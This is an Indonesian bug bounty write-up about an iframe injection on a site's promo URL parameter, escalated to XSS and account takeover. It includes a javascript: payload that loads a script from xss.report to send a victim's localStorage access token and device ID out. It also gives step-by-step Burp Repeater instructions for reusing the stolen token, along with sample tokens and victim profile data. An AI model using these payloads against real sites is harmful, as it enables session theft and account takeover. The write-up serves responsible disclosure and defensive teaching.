Assalamualaikum bug hunter, di write ini saya menemukan celah iframe injection yang bisa dieskalasi ke XSS hingga menyebabkan Account Takeover.

Berikut gambar dibawah ini adalah penggunaan iframe pada suatu website untuk menampilkan suatu konten tanpa harus membuka website tersebut.

Dalam kasus temuan saya, website ini menggunakan iframe untuk menampilkan isi konten melalui parameter url (katakanlah /promo?type=voucher&target=https://evil.com) seperti dibawah ini yang bisa ubah menjadi halaman evil.com :

Setelah saya cek menggunakan clickjacker.io hasilnya:

sehingga website perlu membutuhkan perhatian seperti penggunaan CSP frame-ancestors:
Content-Security-Policy: frame-ancestors 'self' https://trusted-partner.comKemudian memvalidasi parameter URL, penggunaan sandbox iframe untuk membatasi kemampuan script dan HttpOnly + Secure cookie supaya tidak bisa diambil via XSS
Dari temuan ini, saya coba eskalasi XSS dengan payload javascript:alert(document.cookie) dan boom!!! itu muncul pop up

Selanjutnya saya eskalasi ke Account Takeover dengan proof of concept:
- Siapkan 2 akun untuk percobaan dengan login di browser yang berbeda [misalnya, akun A di microsoft edge dan akun B di chrome (milik burpsuite]
- Daftar atau login ke https://xss.report/ lalu pilih navbar payload
- Cari dan pilih payload yang sesuai pada step open redirect to xss yakni:javascript:eval('var a=document.createElement(\'script\');a.src=\'https://xss.report/c/username\'document.body.appendChild(a)')
- Mulai buka burpsuite, lalu pada navbar pilih target dan klik open browser
- Kunjungi website https://target.com/
- login dengan akun yang sudah ada (akun A)
- saat didalam halaman dashboard, akses link berikut https://vuln.target.com/promo?type=vouchercoupon&=javascript:eval(%27var%20a%3Ddocument.createElement(%5C%27script%5C%27);a.src%3D%5C%27https:%2F%2Fxss.report%2Fc%2Fusername%5C%27;document.body.appendChild(a)%27)
- terlihat pada UI memang tidak menampilkan apapun alias blank putih namun terkirim ke xss.report dengan nama blank (menyesuaikan dengan respon yang di render dari xss.report/username
- periksa log aktivitas pada xss report, terdapat access token dan device ID (milik akun A) pada localStorage yang diperlukan untuk account takeover
- salin access token dan device id milik milik akun A dan simpan di notepad
- di burpsuite, pada bagian sitemap pilih api.target.com (di langkah ini akun B sudah login dengan browser google chrome yang disediakan oleh burpsuite)
- pilih dan buka folder V1 dan buka subfolder mobile dan pilih profile dan buka
- pada langkah ini terdapat method POST (mengirim data) ke server pada saat login dan sistem menerjemahkan menjadi access token dan device id (untuk akun B) seperti dibawah ini
- {"token":"fa6171e8-a30d-4099โ9c1c-f19aa8058f79", "device_id":"cc4f64ec-48d0โ4285โ914d-8197d6e900dc"}
- dikolom Request, klik garis 3 lalu pilih dan klik send to repeater
- klik Repeater pada navbar, maka muncul data yang sama seperti pada langkah no 10
- Ganti dan tempel access token dan device ID (dari akun B ke akun A) ini milik akun A
- {"token":"e48a90ee-be09โ4a59โ8595-a5eac505b449", "device_id":"7cf6ffa3โ064c-432d-9d0c-a0c2da1ae145"}
- Klik tombol send
- copy lalu paste di new tab
- Bingoo, itu menampilkan detail data pada akun A di kolom Response
- Kita sudah berhasil mengambil alih akun korban (akun A) tanpa password.


isi data victim
{
"id_user": 3564463,
"user_fullname": "John Doe",
"user_firstname": "John",
"user_lastname": "Doe",
"user_skype": null,
"user_active_call": "default",
"user_interest": "2",
"user_gender": Male,
"user_birthdate": 1974-04-01,
"user_country": 96,
"user_phone_alt": 081212712030,
"user_picture": "no_image_genderless.png",
"user_timezone": "UP7",
"user_lang": 3,
"user_city": Bandung, West Java,
"register_date": "2025-07-27 20:30:57",
"active_date": null,
"user_status": "pasive",
"id_corporate": null,
"disabled": "n",
"register_tenant": "capable",
"activate_course": 2,
"password_upgraded": "Y",
"interest_study": {
"id_study": 2,
"study_name": "English",
"study_code": "EN"
}
}Celah ini saya laporkan dan mendapatkan bounty untuk beli cilok, hehe

Sekian write up yang bisa saya bagikan, mohon maaf apabila ada kekurangan dan kekeliruan dalam penyampaian
Terimakasih
#XSSattack #AccountTakeover